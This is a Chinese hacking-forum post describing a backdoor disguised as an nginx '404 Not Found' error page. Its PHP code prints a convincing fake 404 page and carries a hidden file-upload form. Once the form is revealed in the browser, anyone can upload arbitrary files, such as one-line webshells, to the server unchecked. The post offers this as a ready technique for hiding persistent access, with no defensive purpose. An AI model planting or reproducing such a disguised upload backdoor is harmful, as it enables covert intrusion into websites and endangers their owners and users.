搜索
查看: 1062|回复: 0

404后门shell

[复制链接]

631

主题

920

帖子

2363

积分

管理员

本论坛第一帅

Rank: 9Rank: 9Rank: 9

积分
2363

热心会员推广达人宣传达人突出贡献优秀版主荣誉管理论坛元老

QQ
发表于 4 天前 | 显示全部楼层 |阅读模式
所谓404就是指,当用户访问某个页面时。由于该页面移动或者删除,用户无法访问时会通过404错误页面反馈用户。
我们便可以利用这一点达到隐藏后门的目的!
如下:是我们常常看到的一种404页面!

对页面审查元素我们再来看看!


删掉hidden属性,这时我们便可以用404页面来上传一句话!


404代码

<?php

$int=1;

if($int==1){

echo "

<html>

<head><title>404 Not Found</title></head>

<body>

<center><h1>404 Not Found</h1></center>

<hr><center>nginx</center>

</body>

</html>

<!-- a padding to disable MSIE and Chrome friendly error page -->

<!-- a padding to disable MSIE and Chrome friendly error page -->

<!-- a padding to disable MSIE and Chrome friendly error page -->

<!-- a padding to disable MSIE and Chrome friendly error page -->

<!-- a padding to disable MSIE and Chrome friendly error page -->

<!-- a padding to disable MSIE and Chrome friendly error page -->

";}

 

@$temp = $_FILES['upload_file']['tmp_name'];

 

@$file = basename($_FILES['upload_file']['name']);

 

if (empty ($file)){

 

echo "<form hidden action = '' method = 'POST' ENCTYPE='multipart/form-data'>\n";

echo "Local file: <input type = 'file' name = 'upload_file'>\n";

echo "<input type = 'submit' value = 'Upload'>\n";

echo "</form>\n<pre>\n\n</pre>";}

else {if(move_uploaded_file($temp,$file))

{echo "File uploaded successfully.<p>\n";}

else {echo "Unable to upload " . $file . ".<p>\n";}}

?>

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?注册

x
有志者,事竟成,破釜沉舟,百二秦关终属楚. 苦心人,天不负, 卧薪尝胆 ,三千越甲可吞吴
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表